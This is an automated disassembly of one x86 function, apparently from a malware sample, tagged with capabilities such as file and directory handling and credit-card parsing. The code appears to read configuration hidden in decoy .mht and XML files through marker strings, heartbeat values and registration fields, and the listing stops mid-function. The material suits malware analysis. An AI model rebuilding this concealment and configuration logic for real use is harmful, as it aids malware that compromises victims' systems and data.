Function at 0x4049e0
Capabilities:
Check if file exists
Create directory
Delete file
Get common file path
Get file attributes
Get program files directory
Parse credit card information

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x429d30
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0xfc8
mov eax, dword [0x43e010]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebx + 8]
lea eax, [ebp - 0x290]
push 0x200
push 0
push eax
mov dword [ebp - 0xf4c], esi
mov dword [ebp - 0xefc], 0
mov dword [ebp - 0xef0], 0
mov dword [ebp - 0xf08], 0
call fcn.0041e990
add esp, 0xc
lea eax, [ebp - 0x490]
push 0x200
push 0
push eax
call fcn.0041e990
add esp, 0xc
lea eax, [ebp - 0x8c]
push 0x30
push 0
push eax
call fcn.0041e990
add esp, 0xc
mov dword [ebp - 0xee8], 0
mov dword [ebp - 0xfd8], 0
mov dword [ebp - 0xfd4], 0
push 0x200
lea eax, [ebp - 0xed0]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.0041e990
add esp, 0xc
lea eax, [ebp - 0xcc0]
push 0x30
push 0
push eax
call fcn.0041e990
add esp, 0xc
mov byte [ebp - 0xcbc], 0x29
lea edx, [ebp - 0xf24]
mov dword [ebp - 0xcc0], esi
lea ecx, [ebp - 0xfd8]
call fcn.00401270
lea eax, [ebp - 0xcd0]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, 0x7e4
lea ecx, [ebp - 0xcd0]
call fcn.004046d0
mov edi, eax
lea ecx, [ebp - 0xcd0]
xor eax, eax
mov dword [ebp - 0xf10], edi
mov edx, 0x7e4
mov dword [ebp - 0xcc8], eax
mov dword [ebp - 0xcc4], eax
call fcn.004046d0
push 0x100
mov esi, eax
lea eax, [ebp - 0xed0]
push eax
mov eax, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0xffffffffffffffff
push str.wiatrcvw.mht
push 0
push 1
mov dword [ebp - 0xf28], esi
mov dword [ebp - 0xf48], eax
call eax
lea eax, [ebp - 0xed0]
push eax
push 0x4519f8
lea eax, [ebp - 0x490]
push 0x42f890
push eax
mov eax, dword [sym.imp.USER32.dll_wsprintfW]
mov dword [ebp - 0xf40], eax
call eax
push esi
push edi
lea eax, [ebp - 0x490]
push eax
push str._parserSearchThread_________swEnvFile2
call fcn.00403840
add esp, 0x20
mov dword [ebp - 0xed8], 0
mov dword [ebp - 0xedc], 0
mov dword [ebp - 0xf38], 0
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jns 0x404bda
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xf1c], edi
call edi
jmp 0x404cdf
lea eax, [ebp - 0xf30]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
jns 0x404bfd
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xf1c], eax
call eax
jmp 0x404cd9
mov esi, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
lea eax, [ebp - 0xed8]
push eax
push 0
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xf1c], edi
test eax, eax
js 0x404c86
lea eax, [ebp - 0xedc]
push eax
push 5
push 0
call esi
test eax, eax
js 0x404c86
lea eax, [ebp - 0xf38]
push eax
push 0x26
push 0
call esi
test eax, eax
js 0x404c86
mov edx, dword [ebp - 0xed8]
mov esi, dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
test edx, edx
je 0x404c5a
push 0x44fc78
push edx
call esi
mov edx, dword [ebp - 0xedc]
test edx, edx
je 0x404c72
push 0x44fb78
push edx
call esi
mov edx, dword [ebp - 0xedc]
mov eax, dword [ebp - 0xf38]
test eax, eax
je 0x404ca5
push 0x44fa78
push eax
call esi
jmp 0x404c88
call edi
mov edx, dword [ebp - 0xf38]
test edx, edx
je 0x404c9f
mov eax, dword [ebp - 0xf30]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov edx, dword [ebp - 0xedc]
test edx, edx
je 0x404cb6
mov eax, dword [ebp - 0xf30]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov edx, dword [ebp - 0xed8]
test edx, edx
je 0x404ccd
mov eax, dword [ebp - 0xf30]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [ebp - 0xf30]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
push 0x100
lea eax, [ebp - 0xed0]
push eax
push 0xffffffffffffffff
push 0x43e8b0
push 0
push 1
call dword [ebp - 0xf48]
push 0x44fa78
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, eax
mov eax, dword [ebp - 0xf4c]
push eax
push str._parserSearchThread_________dwCallCode_____________________d_
call fcn.00403960
lea eax, [ebp - 0xcc0]
push eax
push str._parserSearchThread_________saBuff_________________________s_
call fcn.00403960
lea eax, [ebp - 0xed0]
push eax
push str._parserSearchThread_________EtcInstFolder__________________s_
call fcn.00403840
push 0x44fa78
push str._parserSearchThread_________EtcPgmsFolder__________________s_
call fcn.00403840
mov eax, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x20
mov dword [ebp - 0xef4], eax
push 0x44fa78
call eax
cmp eax, 0xffffffff
jne 0x404d74
mov dword [0x43e8c8], 0x251d
jmp 0x408958
lea eax, [ebp - 0xed0]
push eax
push 0x44fa78
lea eax, [ebp - 0x290]
push 0x42f890
push eax
call dword [ebp - 0xf40]
lea eax, [ebp - 0x290]
push eax
push str._parserSearchThread_________EnvFile_Path____Top____________s_
call fcn.00403840
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
inc esi
add esp, 0x18
lea ecx, [esi + esi]
movzx eax, word [ebp + ecx - 0x290]
mov edx, eax
test ax, ax
je 0x404e35
nop
cmp dx, 0x5c
jne 0x404e16
push ecx
lea eax, [ebp - 0x290]
push eax
lea eax, [ebp - 0xed0]
push eax
call fcn.0041fee0
add esp, 0xc
lea eax, [ebp - 0xed0]
push eax
push str._parserSearchThread_________EnvFile_Path____CheckPath1_____s_
call fcn.00403840
add esp, 8
lea eax, [ebp - 0xed0]
push eax
call dword [ebp - 0xef4]
cmp eax, 0xffffffff
jne 0x404e16
push dword [ebp - 0xf24]
lea eax, [ebp - 0xed0]
push eax
call edi
test eax, eax
je 0x404e2b
inc esi
lea ecx, [esi + esi]
movzx eax, word [ebp + ecx - 0x290]
mov edx, eax
test ax, ax
jne 0x404dc0
jmp 0x404e35
mov dword [0x43e8c8], 0x251e
lea eax, [ebp - 0x290]
push eax
push str._parserSearchThread_________EnvFile_Path____CheckPath2_____s_
call fcn.00403840
add esp, 8
lea eax, [ebp - 0x290]
push eax
call dword [ebp - 0xef4]
mov esi, dword [ebp - 0xf24]
cmp eax, 0xffffffff
jne 0x404e7e
push esi
lea eax, [ebp - 0x290]
push eax
call edi
test eax, eax
jne 0x404e7e
mov dword [0x43e8c8], 0x251f
jmp 0x408958
push 0x100
lea eax, [ebp - 0xed0]
mov byte [ebp - 0xcbc], 0
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0xcc0]
mov dword [ebp - 0xcc0], 0x3033325c
push eax
push 0
push 1
call dword [ebp - 0xf48]
lea eax, [ebp - 0xed0]
push eax
lea eax, [ebp - 0x290]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x290]
push eax
push str._parserSearchThread_________EnvFile_Path____Mid____________s_
call fcn.00403840
add esp, 8
lea eax, [ebp - 0x290]
push eax
call dword [ebp - 0xef4]
cmp eax, 0xffffffff
jne 0x404f05
push esi
lea eax, [ebp - 0x290]
push eax
call edi
test eax, eax
jne 0x404f05
mov dword [0x43e8c8], 0x2520
jmp 0x408958
push 0x100
lea eax, [ebp - 0xed0]
mov byte [ebp - 0xcbc], 0
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0xcc0]
mov dword [ebp - 0xcc0], 0x616a5c
push eax
push 0
push 1
call dword [ebp - 0xf48]
lea eax, [ebp - 0xed0]
push eax
lea eax, [ebp - 0x290]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x290]
push eax
push str._parserSearchThread_________EnvFile_Path____End____________s_
call fcn.00403840
add esp, 8
lea eax, [ebp - 0x290]
push eax
call dword [ebp - 0xef4]
cmp eax, 0xffffffff
jne 0x404f8c
push esi
lea eax, [ebp - 0x290]
push eax
call edi
test eax, eax
jne 0x404f8c
mov dword [0x43e8c8], 0x2521
jmp 0x408958
push str.VSPerf_Rule_Definition.xml
lea eax, [ebp - 0x290]
push eax
lea eax, [ebp - 0xed0]
push 0x42f890
push eax
call dword [ebp - 0xf40]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0xed0]
add esp, 0x10
push eax
lea eax, [ebp - 0x290]
push eax
call edi
lea eax, [ebp - 0x290]
push eax
push str._parserSearchThread_________EnvFile________________________s_
call fcn.00403840
lea eax, [ebp - 0x490]
push eax
push str._parserSearchThread_________EnvFile________________________s_
call fcn.00403840
add esp, 0x10
lea eax, [ebp - 0x290]
push eax
call dword [ebp - 0xef4]
mov esi, eax
call dword [ebp - 0xf1c]
cmp esi, 0xffffffff
jne 0x405011
mov dword [0x43e8c8], 0x2522
jmp 0x408958
lea eax, [ebp - 0x490]
push eax
call dword [ebp - 0xef4]
mov esi, eax
call dword [ebp - 0xf1c]
cmp esi, 0xffffffff
jne 0x40503a
mov dword [0x43e8c8], 0x2523
jmp 0x408958
lea eax, [ebp - 0x290]
push eax
push 0x451c28
call edi
lea ecx, [ebp - 0x290]
call fcn.00403a40
mov esi, eax
mov dword [ebp - 0xf18], esi
cmp esi, 0xa000
jge 0x405072
mov dword [0x43e8c8], 0x2524
jmp 0x408958
lea ecx, [ebp - 0x490]
call fcn.00403a40
mov edi, eax
mov dword [ebp - 0xf24], edi
cmp edi, 0x19000
jge 0x40509c
mov dword [0x43e8c8], 0x2525
jmp 0x408958
add esi, 8
push esi
call fcn.0041d5dc
add esp, 4
mov dword [ebp - 0xef8], eax
add edi, 8
push edi
call fcn.0041d5dc
add esp, 4
mov dword [ebp - 0xf34], eax
push esi
mov esi, dword [ebp - 0xef8]
push 0
push esi
call fcn.0041e990
add esp, 0xc
push edi
mov edi, dword [ebp - 0xf34]
push 0
push edi
call fcn.0041e990
add esp, 0xc
lea ecx, [ebp - 0x290]
push esi
mov esi, dword [ebp - 0xf18]
mov edx, esi
call fcn.00403ab0
add esp, 4
test eax, eax
jns 0x40510e
mov dword [0x43e8c8], 0x2526
jmp 0x40893c
push edi
mov edi, dword [ebp - 0xf24]
lea ecx, [ebp - 0x490]
mov edx, edi
call fcn.00403ab0
add esp, 4
test eax, eax
jns 0x405138
mov dword [0x43e8c8], 0x2527
jmp 0x40893c
push dword [0x43e8d8]
push dword [0x43e8dc]
push dword [0x43e8e0]
push dword [0x43e8e4]
push str._parserSearchThread_________Search__ConnectCount___________02d_:__02d:__02d_:__02d_
call fcn.00403960
add esp, 0x14
push str.QAAAABJRU5ErkJggk
push edi
push dword [ebp - 0xf34]
call fcn.004040e0
mov dword [ebp - 0xf0c], eax
test eax, eax
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0xee0], eax
je 0x4052b6
xor esi, esi
push str._NextPart_
mov dword [ebp - 0xedc], esi
call eax
cmp eax, 1
jl 0x40527e
cmp eax, 0x200
jg 0x40527e
mov ecx, 0x100
lea edi, [ebp - 0xc90]
rep stosd dword es:[edi], eax
lea edi, [eax - 1]
xor ecx, ecx
test edi, edi
jle 0x4051e4
mov edx, edi
nop dword [eax]
nop word [eax + eax]
movzx eax, byte [ecx + str._NextPart_]
inc ecx
mov dword [ebp + eax*4 - 0xc90], edx
dec edx
cmp ecx, edi
jl 0x4051d0
mov dl, byte [edi + str._NextPart_]
mov esi, edi
mov byte [ebp - 0xed1], dl
mov eax, dword [ebp - 0xf0c]
add eax, esi
mov cl, byte [eax]
mov byte [ebp - 0xed2], cl
cmp cl, dl
jne 0x405262
test edi, edi
je 0x4053d6
mov eax, dword [ebp - 0xf0c]
lea edx, [esi - 1]
lea ecx, [edi - 1]
mov al, byte [edx + eax]
cmp al, byte [ecx + str._NextPart_]
jne 0x40524c
nop word [eax + eax]
mov eax, dword [ebp - 0xf0c]
test ecx, ecx
je 0x4053c9
mov al, byte [edx + eax - 1]
dec edx
dec ecx
cmp al, byte [ecx + str._NextPart_]
je 0x405230
mov eax, dword [ebp - 0xedc]
test eax, eax
jne 0x405278
mov cl, byte [ebp - 0xed2]
mov dl, byte [ebp - 0xed1]
movzx eax, cl
add esi, dword [ebp + eax*4 - 0xc90]
cmp esi, 0x200
jl 0x4051f2
mov esi, dword [ebp - 0xedc]
mov dword [ebp - 0xf0c], esi
test esi, esi
je 0x4052b0
mov byte [ebp - 0xcc0], 0
xor eax, eax
cmp byte [esi + eax], 0x2e
lea ecx, [esi + eax]
je 0x4053dd
inc eax
cmp eax, 0x200
jl 0x405291
mov dword [ebp - 0xf0c], 0
mov esi, dword [ebp - 0xf18]
mov eax, dword [ebp - 0xf4c]
cmp eax, 1
je 0x4078a7
cmp eax, 2
je 0x4078a7
cmp eax, 3
je 0x4078a7
mov edx, dword [ebp - 0xef8]
push esi
call fcn.00402190
mov esi, eax
lea eax, [ebp - 0x290]
push eax
push dword [ebp - 0xf18]
mov dword [0x450a80], esi
push str._parserSearchThread_________EnvFile1________Read___________06d___s_
call fcn.00403840
add esp, 0xc
lea eax, [ebp - 0x490]
push eax
push dword [ebp - 0xf24]
push str._parserSearchThread_________EnvFile2________Read___________06d___s_
call fcn.00403840
add esp, 0xc
push esi
push str._parserSearchThread_________EnvFile1________RunsRCR32______08X_
call fcn.00403840
push 0x450a20
push str._parserSearchThread_________GetSearchKey____EntryKey_1_____s_
call fcn.00403960
mov esi, dword [ebp - 0xf24]
add esp, 0x10
push str.Time_Data_href
push esi
push dword [ebp - 0xf34]
call fcn.004040e0
push str.font_family:_MS_Sans_Serif_
push esi
push dword [ebp - 0xf34]
mov edi, eax
call fcn.004040e0
push 0x450a20
push dword [ebp - 0xf18]
mov dword [ebp - 0xee4], eax
push dword [ebp - 0xef8]
call fcn.004040e0
mov esi, eax
mov dword [ebp - 0xedc], esi
test edi, edi
je 0x407898
cmp dword [ebp - 0xee4], 0
je 0x407898
test esi, esi
je 0x407898
xor ecx, ecx
nop dword [eax]
cmp byte [ecx + edi], 0x22
lea eax, [ecx + 1]
je 0x405486
mov ecx, eax
cmp ecx, 0x40
jl 0x4053b0
jmp 0x4054a2
add eax, edx
mov dword [ebp - 0xedc], eax
jmp 0x405252
mov esi, eax
jmp 0x40527e
mov eax, dword [ecx + 5]
lea edi, [ecx + 1]
mov ecx, dword [edi]
mov dword [ebp - 0xf0c], edi
mov dword [ebp - 0xcc0], ecx
mov dword [ebp - 0xcbc], eax
test cl, cl
je 0x4052a6
lea eax, [ebp - 0xcc0]
cmp dword [eax], 0x46433531
jne 0x40541a
cmp dword [eax + 4], 0x30424546
jne 0x40541a
xor edx, edx
jmp 0x405466
xor edx, edx
xor ecx, ecx
nop
mov al, byte [ebp + ecx - 0xcc0]
cmp al, 0x30
jb 0x405437
cmp al, 0x39
ja 0x405437
shl edx, 4
add edx, 0xffffffd0
jmp 0x405455
cmp al, 0x41
jb 0x405447
cmp al, 0x46
ja 0x405447
shl edx, 4
add edx, 0xffffffc9
jmp 0x405455
cmp al, 0x61
jb 0x40545a
cmp al, 0x66
ja 0x40545a
shl edx, 4
add edx, 0xffffffa9
movzx eax, al
add edx, eax
inc ecx
cmp ecx, 8
jl 0x405420
add edx, 0x69780
lea eax, [ebp - 0xcc0]
mov dword [ebp - 0xee8], edx
push eax
push edx
push str._parserSearchThread_________HeartBeat___HeartBeatTime______08X___.8s_
call fcn.00403960
add esp, 0xc
jmp 0x4052b0
cmp eax, 0x40
jge 0x4054a2
lea ecx, [ebp - 0x8c]
mov dl, byte [eax + edi]
cmp dl, 0x2f
je 0x4054a2
mov byte [ecx], dl
inc eax
inc ecx
cmp eax, 0x40
jl 0x405491
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x8c]
push eax
push str._s_439
push 0x452268
mov dword [ebp - 0xf2c], edi
call edi
add esp, 0xc
lea eax, [ebp - 0x8c]
push eax
push str._s_548
push 0x452248
call edi
add esp, 0xc
lea eax, [ebp - 0xcc0]
xor ecx, ecx
mov dword [ebp - 0xf44], ecx
push dword [ebp - 0xf28]
push str._08X
push eax
call edi
add esp, 0xc
mov dword [ebp - 0xeec], 0
push str._Thresload_
call dword [ebp - 0xee0]
cmp eax, 1
jl 0x4055f8
cmp eax, 0x400
jg 0x4055f8
mov ecx, 0x100
lea edi, [ebp - 0xc90]
rep stosd dword es:[edi], eax
dec eax
xor ecx, ecx
mov dword [ebp - 0xed8], eax
test eax, eax
jle 0x40556a
mov esi, eax
mov edx, esi
movzx eax, byte [ecx + str._Thresload_]
inc ecx
mov dword [ebp + eax*4 - 0xc90], edx
dec edx
cmp ecx, esi
jl 0x405540
mov dh, byte [esi + str._Thresload_]
mov edi, esi
mov esi, dword [ebp - 0xedc]
mov eax, dword [ebp - 0xed8]
jmp 0x405578
mov dh, byte [eax + str._Thresload_]
mov edi, eax
mov dword [ebp - 0xed8], eax
mov byte [ebp - 0xed1], dh
nop
mov dl, byte [edi + esi]
lea ecx, [edi + esi]
mov byte [ebp - 0xed2], dl
cmp dl, dh
jne 0x4055cd
test eax, eax
je 0x4055f2
lea edx, [edi - 1]
lea ecx, [eax - 1]
mov al, byte [edx + esi]
cmp al, byte [ecx + str._Thresload_]
jne 0x4055b7
test ecx, ecx
je 0x4055e7
mov al, byte [edx + esi - 1]
dec edx
dec ecx
cmp al, byte [ecx + str._Thresload_]
je 0x4055a5
mov eax, dword [ebp - 0xeec]
test eax, eax
jne 0x4055f8
mov dl, byte [ebp - 0xed2]
mov dh, byte [ebp - 0xed1]
movzx eax, dl
add edi, dword [ebp + eax*4 - 0xc90]
cmp edi, 0x400
jge 0x4055f8
mov eax, dword [ebp - 0xed8]
jmp 0x405580
lea eax, [edx + esi]
mov dword [ebp - 0xeec], eax
jmp 0x4055bd
mov dword [ebp - 0xeec], ecx
push str._MinimumNumberOfValues_
mov dword [ebp - 0xf20], 0
call dword [ebp - 0xee0]
cmp eax, 1
jl 0x4056f8
cmp eax, 0x400
jg 0x4056f8
mov ecx, 0x100
lea edi, [ebp - 0xc90]
rep stosd dword es:[edi], eax
dec eax
xor ecx, ecx
mov dword [ebp - 0xed8], eax
test eax, eax
jle 0x40566a
mov esi, eax
mov edx, esi
nop
movzx eax, byte [ecx + str._MinimumNumberOfValues_]
inc ecx
mov dword [ebp + eax*4 - 0xc90], edx
dec edx
cmp ecx, esi
jl 0x405640
mov dh, byte [esi + str._MinimumNumberOfValues_]
mov edi, esi
mov esi, dword [ebp - 0xedc]
mov eax, dword [ebp - 0xed8]
jmp 0x405678
mov dh, byte [eax + str._MinimumNumberOfValues_]
mov edi, eax
mov dword [ebp - 0xed8], eax
mov byte [ebp - 0xed1], dh
nop
mov dl, byte [edi + esi]
lea ecx, [edi + esi]
mov byte [ebp - 0xed2], dl
cmp dl, dh
jne 0x4056cd
test eax, eax
je 0x4056f2
lea edx, [edi - 1]
lea ecx, [eax - 1]
mov al, byte [edx + esi]
cmp al, byte [ecx + str._MinimumNumberOfValues_]
jne 0x4056b7
test ecx, ecx
je 0x4056e7
mov al, byte [edx + esi - 1]
dec edx
dec ecx
cmp al, byte [ecx + str._MinimumNumberOfValues_]
je 0x4056a5
mov eax, dword [ebp - 0xf20]
test eax, eax
jne 0x4056f8
mov dl, byte [ebp - 0xed2]
mov dh, byte [ebp - 0xed1]
movzx eax, dl
add edi, dword [ebp + eax*4 - 0xc90]
cmp edi, 0x400
jge 0x4056f8
mov eax, dword [ebp - 0xed8]
jmp 0x405680
lea eax, [edx + esi]
mov dword [ebp - 0xf20], eax
jmp 0x4056bd
mov dword [ebp - 0xf20], ecx
push str._SupersedesRule_
mov dword [ebp - 0xf14], 0
call dword [ebp - 0xee0]
cmp eax, 1
jl 0x4057f8
cmp eax, 0x400
jg 0x4057f8
mov ecx, 0x100
lea edi, [ebp - 0xc90]
rep stosd dword es:[edi], eax
dec eax
xor ecx, ecx
mov dword [ebp - 0xed8], eax
test eax, eax
jle 0x40576a
mov esi, eax
mov edx, esi
nop
movzx eax, byte [ecx + str._SupersedesRule_]
inc ecx
mov dword [ebp + eax*4 - 0xc90], edx
dec edx
cmp ecx, esi
jl 0x405740
mov dh, byte [esi + str._SupersedesRule_]
mov edi, esi
mov esi, dword [ebp - 0xedc]
mov eax, dword [ebp - 0xed8]
jmp 0x405778
mov dh, byte [eax + str._SupersedesRule_]
mov edi, eax
mov dword [ebp - 0xed8], eax
mov byte [ebp - 0xed1], dh
nop
mov dl, byte [edi + esi]
lea ecx, [edi + esi]
mov byte [ebp - 0xed2], dl
cmp dl, dh
jne 0x4057cd
test eax, eax
je 0x4057f2
lea edx, [edi - 1]
lea ecx, [eax - 1]
mov al, byte [edx + esi]
cmp al, byte [ecx + str._SupersedesRule_]
jne 0x4057b7
test ecx, ecx
je 0x4057e7
mov al, byte [edx + esi - 1]
dec edx
dec ecx
cmp al, byte [ecx + str._SupersedesRule_]
je 0x4057a5
mov eax, dword [ebp - 0xf14]
test eax, eax
jne 0x4057f8
mov dl, byte [ebp - 0xed2]
mov dh, byte [ebp - 0xed1]
movzx eax, dl
add edi, dword [ebp + eax*4 - 0xc90]
cmp edi, 0x400
jge 0x4057f8
mov eax, dword [ebp - 0xed8]
jmp 0x405780
lea eax, [edx + esi]
mov dword [ebp - 0xf14], eax
jmp 0x4057bd
mov dword [ebp - 0xf14], ecx
push str._SupersedesLoad_
mov dword [ebp - 0xf04], 0
call dword [ebp - 0xee0]
cmp eax, 1
jl 0x4058f8
cmp eax, 0x400
jg 0x4058f8
mov ecx, 0x100
lea edi, [ebp - 0xc90]
rep stosd dword es:[edi], eax
dec eax
xor ecx, ecx
mov dword [ebp - 0xed8], eax
test eax, eax
jle 0x40586a
mov esi, eax
mov edx, esi
nop
movzx eax, byte [ecx + str._SupersedesLoad_]
inc ecx
mov dword [ebp + eax*4 - 0xc90], edx
dec edx
cmp ecx, esi
jl 0x405840
mov dh, byte [esi + str._SupersedesLoad_]
mov edi, esi
mov esi, dword [ebp - 0xedc]
mov eax, dword [ebp - 0xed8]
jmp 0x405878
mov dh, byte [eax + str._SupersedesLoad_]
mov edi, eax
mov dword [ebp - 0xed8], eax
mov byte [ebp - 0xed1], dh
nop
mov dl, byte [edi + esi]
lea ecx, [edi + esi]
mov byte [ebp - 0xed2], dl
cmp dl, dh
jne 0x4058cd
test eax, eax
je 0x4058f2
lea edx, [edi - 1]
lea ecx, [eax - 1]
mov al, byte [edx + esi]
cmp al, byte [ecx + str._SupersedesLoad_]
jne 0x4058b7
test ecx, ecx
je 0x4058e7
mov al, byte [edx + esi - 1]
dec edx
dec ecx
cmp al, byte [ecx + str._SupersedesLoad_]
je 0x4058a5
mov eax, dword [ebp - 0xf04]
test eax, eax
jne 0x4058f8
mov dl, byte [ebp - 0xed2]
mov dh, byte [ebp - 0xed1]
movzx eax, dl
add edi, dword [ebp + eax*4 - 0xc90]
cmp edi, 0x400
jge 0x4058f8
mov eax, dword [ebp - 0xed8]
jmp 0x405880
lea eax, [edx + esi]
mov dword [ebp - 0xf04], eax
jmp 0x4058bd
mov dword [ebp - 0xf04], ecx
push str._SupersedesHold_
mov dword [ebp - 0xf00], 0
call dword [ebp - 0xee0]
cmp eax, 1
jl 0x4059f8
cmp eax, 0x400
jg 0x4059f8
mov ecx, 0x100
lea edi, [ebp - 0xc90]
rep stosd dword es:[edi], eax
dec eax
xor ecx, ecx
mov dword [ebp - 0xed8], eax
test eax, eax
jle 0x40596a
mov esi, eax
mov edx, esi
nop
movzx eax, byte [ecx + str._SupersedesHold_]
inc ecx
mov dword [ebp + eax*4 - 0xc90], edx
dec edx
cmp ecx, esi
jl 0x405940
mov dh, byte [esi + str._SupersedesHold_]
mov edi, esi
mov esi, dword [ebp - 0xedc]
mov eax, dword [ebp - 0xed8]
jmp 0x405978
mov dh, byte [eax + str._SupersedesHold_]
mov edi, eax
mov dword [ebp - 0xed8], eax
mov byte [ebp - 0xed1], dh
nop
mov dl, byte [edi + esi]
lea ecx, [edi + esi]
mov byte [ebp - 0xed2], dl
cmp dl, dh
jne 0x4059cd
test eax, eax
je 0x4059f2
lea edx, [edi - 1]
lea ecx, [eax - 1]
mov al, byte [edx + esi]
cmp al, byte [ecx + str._SupersedesHold_]
jne 0x4059b7
test ecx, ecx
je 0x4059e7
mov al, byte [edx + esi - 1]
dec edx
dec ecx
cmp al, byte [ecx + str._SupersedesHold_]
je 0x4059a5
mov eax, dword [ebp - 0xf00]
test eax, eax
jne 0x4059f8
mov dl, byte [ebp - 0xed2]
mov dh, byte [ebp - 0xed1]
movzx eax, dl
add edi, dword [ebp + eax*4 - 0xc90]
cmp edi, 0x400
jge 0x4059f8
mov eax, dword [ebp - 0xed8]
jmp 0x405980
lea eax, [edx + esi]
mov dword [ebp - 0xf00], eax
jmp 0x4059bd
mov dword [ebp - 0xf00], ecx
mov esi, dword [ebp - 0xeec]
lea eax, [ebp - 0xcc0]
lea edi, [esi + 0xb]
push edi
push eax
push str._parserSearchThread_________EnvFile1________RunTime________s_:__.8s_
call fcn.00403960
add esp, 0xc
push 0x452268
push str._parserSearchThread_________EnvFile1________RegistFunc1____s_
call fcn.00403960
push 0x452248
push str._parserSearchThread_________EnvFile1________RegistFunc2____s_
call fcn.00403960
add esp, 0x10
test esi, esi
je 0x407889
mov eax, dword [ebp - 0xf20]
test eax, eax
je 0x407889
mov esi, dword [ebp - 0xf14]
test esi, esi
je 0x407889
mov edx, dword [ebp - 0xf04]
test edx, edx
je 0x407889
mov ecx, dword [ebp - 0xf00]
test ecx, ecx
je 0x407889
movzx eax, byte [eax + 0x17]
mov byte [ebp - 0xf38], al
movzx eax, byte [esi + 0x10]
mov byte [ebp - 0xf37], al
movzx eax, byte [edx + 0x10]
mov byte [ebp - 0xf36], al
movzx eax, byte [ecx + 0x10]
mov byte [ebp - 0xf35], al
lea eax, [ebp - 0xcc0]
push eax
movzx eax, byte [ecx + 0x10]
push edi
push eax
movzx eax, byte [edx + 0x10]
push eax
movzx eax, byte [esi + 0x10]
push eax
mov eax, dword [ebp - 0xf20]
movzx eax, byte [eax + 0x17]
push eax
push str._parserSearchThread_________EnvFile1________RunCount_______c:_c:_c:_c___.8s_:__.8s_
call fcn.00403960
add esp, 0x1c
mov ecx, edi
mov edx, 0x430688
mov esi, 4
nop word [eax + eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x405af5
add ecx, 4
add edx, 4
sub esi, 4
jae 0x405ae0
xor eax, eax
jmp 0x405b1a
cmp al, byte [edx]
jne 0x405b15
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x405b15
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x405b15
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x405b15
xor eax, eax
jmp 0x405b1a
sbb eax, eax
or eax, 1
test eax, eax
je 0x4061a8
mov ecx, edi
lea edx, [ebp - 0xcc0]
mov esi, 4
nop
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x405b45
add ecx, 4
add edx, 4
sub esi, 4
jae 0x405b30
xor ecx, ecx
jmp 0x405b6a
cmp al, byte [edx]
jne 0x405b65
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x405b65
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x405b65
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x405b65
xor ecx, ecx
jmp 0x405b6a
sbb ecx, ecx
or ecx, 1
mov edx, dword [ebp - 0xf20]
mov al, byte [edx + 0x17]
test ecx, ecx
je 0x405ef4
cmp al, 0x55
jne 0x405b89
mov eax, 0x1e
jmp 0x405c8c
cmp al, 0x54
jne 0x405b97
mov eax, 0x1d
jmp 0x405c8c
cmp al, 0x53
jne 0x405ba5
mov eax, 0x1c
jmp 0x405c8c
cmp al, 0x52
jne 0x405bb3
mov eax, 0x1b
jmp 0x405c8c
cmp al, 0x51
jne 0x405bc1
mov eax, 0x1a
jmp 0x405c8c
cmp al, 0x50
jne 0x405bcf
mov eax, 0x19
jmp 0x405c8c
cmp al, 0x4f
jne 0x405bdd
mov eax, 0x18
jmp 0x405c8c
cmp al, 0x4e
jne 0x405beb
mov eax, 0x17
jmp 0x405c8c
cmp al, 0x4d
jne 0x405bf9
mov eax, 0x16
jmp 0x405c8c
cmp al, 0x4c
jne 0x405c07
mov eax, 0x15
jmp 0x405c8c
cmp al, 0x4b
jne 0x405c15
mov eax, 0x14
jmp 0x405c8c
cmp al, 0x4a
jne 0x405c23
mov eax, 0x13
jmp 0x405c8c
cmp al, 0x49
jne 0x405c2e
mov eax, 0x12
jmp 0x405c8c
cmp al, 0x48
jne 0x405c39
mov eax, 0x11
jmp 0x405c8c
cmp al, 0x47
jne 0x405c44
mov eax, 0x10
jmp 0x405c8c
cmp al, 0x46
jne 0x405c4f
mov eax, 0xf
jmp 0x405c8c
cmp al, 0x45
jne 0x405c5a
mov eax, 0xe
